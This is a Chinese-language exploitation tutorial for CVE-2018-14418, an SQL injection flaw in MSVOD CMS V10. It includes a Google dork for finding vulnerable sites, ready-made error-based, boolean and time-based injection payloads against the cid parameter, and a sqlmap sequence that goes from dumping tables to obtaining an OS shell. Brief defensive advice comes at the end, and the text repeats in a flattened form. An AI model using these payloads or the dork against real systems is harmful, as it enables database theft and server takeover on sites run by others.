CVE-2018-14418 擦出新火花
字数 1387 2025-08-26 22:11:45

MSVOD CMS SQL注入漏洞(CVE-2018-14418)深度分析与利用教程

0x00 漏洞概述

漏洞标识:

  • CVE编号: CVE-2018-14418
  • CNNVD-ID: CNNVD-201807-1724
  • 漏洞类型: SQL注入
  • 影响版本: MSVOD CMS V10

漏洞描述:
MSVOD CMS是一套用于视频点播网站的内容管理系统(CMS),主要提供视频点播和视频聚合建站等服务。在V10版本中存在SQL注入漏洞,远程攻击者可利用该漏洞执行任意SQL命令。

0x01 漏洞验证与利用

1. 漏洞验证方法

1.1 手工验证

Google Dork:

inurl:"images/lists?cid=13"

基础验证Payload:

/images/lists?cid=13%20)%20ORDER%20BY%201%20desc,extractvalue(rand(),concat(0x7c,database(),0x7c,user(),0x7c,@@version))%20desc%20--%20

1.2 多位置验证

该漏洞存在于多个端点:

  • /images/lists?cid=num
  • /video/lists?cid=num

2. 漏洞利用Payload集合

2.1 信息获取Payload

获取数据库版本:

/video/lists?cid=13 ) AND extractvalue(rand(),concat(CHAR(126),(version()),CHAR(126)))--%20

获取当前用户:

/video/lists?cid=13 ) AND extractvalue(rand(),concat(CHAR(126),(user()),CHAR(126)))--%20

获取数据库名和用户信息(复合):

/images/lists?cid=13 ) ORDER BY 1 desc,extractvalue(rand(),concat(0x7c,database(),0x7c,user(),0x7c,@@version)) desc--%20

2.2 布尔型盲注Payload

基于时间的盲注:

/images/lists?cid=13 ) ORDER BY if(1=1,1,sleep(3))--%20

基于布尔的盲注:

/video/lists?cid=34) AND 5072=5072 AND (7051=7051

2.3 错误型注入Payload

/video/lists?cid=13 ) ORDER BY 1 desc,extractvalue(rand(),concat(0x7c,(user()),0x7c)) desc--%20

3. 自动化工具利用

3.1 SQLMap利用

基本探测:

sqlmap -u "http://target.com/images/lists?cid=13" --batch

获取数据库:

sqlmap -u "http://target.com/images/lists?cid=13" --dbs

获取表:

sqlmap -u "http://target.com/images/lists?cid=13" -D database_name --tables

获取字段:

sqlmap -u "http://target.com/images/lists?cid=13" -D database_name -T table_name --columns

获取数据:

sqlmap -u "http://target.com/images/lists?cid=13" -D database_name -T table_name -C column1,column2 --dump

获取系统shell:

sqlmap -u "http://target.com/images/lists?cid=13" --os-shell

3.2 jSQL-Injection利用

jSQL是一款图形化SQL注入工具,可以方便地管理数据库和执行注入操作。

0x02 漏洞深入分析

1. 漏洞原理

该漏洞属于基于错误的SQL注入,主要利用extractvalue函数触发XML解析错误来泄露信息。漏洞点在于cid参数未经过滤直接拼接到SQL查询中。

2. 漏洞利用技术

  1. 错误型注入:利用extractvalue函数触发错误信息泄露
  2. 布尔型盲注:通过条件判断获取信息
  3. 时间型盲注:通过延时响应判断条件真假

3. 漏洞利用链

  1. 信息泄露(数据库版本、用户、数据库名)
  2. 数据库内容提取(表、字段、数据)
  3. 系统信息获取(通过MySQL函数)
  4. 文件系统访问(读取服务器文件)
  5. 获取系统shell(--os-shell)
  6. 提权操作(基于服务器漏洞)

0x03 防御措施

1. 临时解决方案

  • cid参数进行严格的输入验证和过滤
  • 使用参数化查询或预处理语句
  • 在应用层添加WAF规则

2. 长期解决方案

  • 升级到最新版本MSVOD CMS
  • 实施最小权限原则,限制数据库用户权限
  • 定期进行安全审计和代码审查

0x04 总结

CVE-2018-14418是一个典型的SQL注入漏洞,展示了CMS系统中常见的输入验证不足问题。通过此漏洞,攻击者可以获取数据库敏感信息,甚至进一步控制服务器。防御此类漏洞需要开发人员和安全人员共同努力,从代码层面和应用层面进行多重防护。

参考资源:

  • https://www.exploit-db.com/exploits/45062
  • https://cxsecurity.com/issue/WLB-2018070221
  • http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201807-1724
  • https://www.wtfsec.org/2583/msvod-v10-sql-injection/
MSVOD CMS SQL注入漏洞(CVE-2018-14418)深度分析与利用教程 0x00 漏洞概述 漏洞标识 : CVE编号: CVE-2018-14418 CNNVD-ID: CNNVD-201807-1724 漏洞类型: SQL注入 影响版本: MSVOD CMS V10 漏洞描述 : MSVOD CMS是一套用于视频点播网站的内容管理系统(CMS),主要提供视频点播和视频聚合建站等服务。在V10版本中存在SQL注入漏洞,远程攻击者可利用该漏洞执行任意SQL命令。 0x01 漏洞验证与利用 1. 漏洞验证方法 1.1 手工验证 Google Dork : 基础验证Payload : 1.2 多位置验证 该漏洞存在于多个端点: /images/lists?cid=num /video/lists?cid=num 2. 漏洞利用Payload集合 2.1 信息获取Payload 获取数据库版本 : 获取当前用户 : 获取数据库名和用户信息(复合) : 2.2 布尔型盲注Payload 基于时间的盲注 : 基于布尔的盲注 : 2.3 错误型注入Payload 3. 自动化工具利用 3.1 SQLMap利用 基本探测 : 获取数据库 : 获取表 : 获取字段 : 获取数据 : 获取系统shell : 3.2 jSQL-Injection利用 jSQL是一款图形化SQL注入工具,可以方便地管理数据库和执行注入操作。 0x02 漏洞深入分析 1. 漏洞原理 该漏洞属于基于错误的SQL注入,主要利用 extractvalue 函数触发XML解析错误来泄露信息。漏洞点在于 cid 参数未经过滤直接拼接到SQL查询中。 2. 漏洞利用技术 错误型注入 :利用 extractvalue 函数触发错误信息泄露 布尔型盲注 :通过条件判断获取信息 时间型盲注 :通过延时响应判断条件真假 3. 漏洞利用链 信息泄露(数据库版本、用户、数据库名) 数据库内容提取(表、字段、数据) 系统信息获取(通过MySQL函数) 文件系统访问(读取服务器文件) 获取系统shell(--os-shell) 提权操作(基于服务器漏洞) 0x03 防御措施 1. 临时解决方案 对 cid 参数进行严格的输入验证和过滤 使用参数化查询或预处理语句 在应用层添加WAF规则 2. 长期解决方案 升级到最新版本MSVOD CMS 实施最小权限原则,限制数据库用户权限 定期进行安全审计和代码审查 0x04 总结 CVE-2018-14418是一个典型的SQL注入漏洞,展示了CMS系统中常见的输入验证不足问题。通过此漏洞,攻击者可以获取数据库敏感信息,甚至进一步控制服务器。防御此类漏洞需要开发人员和安全人员共同努力,从代码层面和应用层面进行多重防护。 参考资源 : https://www.exploit-db.com/exploits/45062 https://cxsecurity.com/issue/WLB-2018070221 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201807-1724 https://www.wtfsec.org/2583/msvod-v10-sql-injection/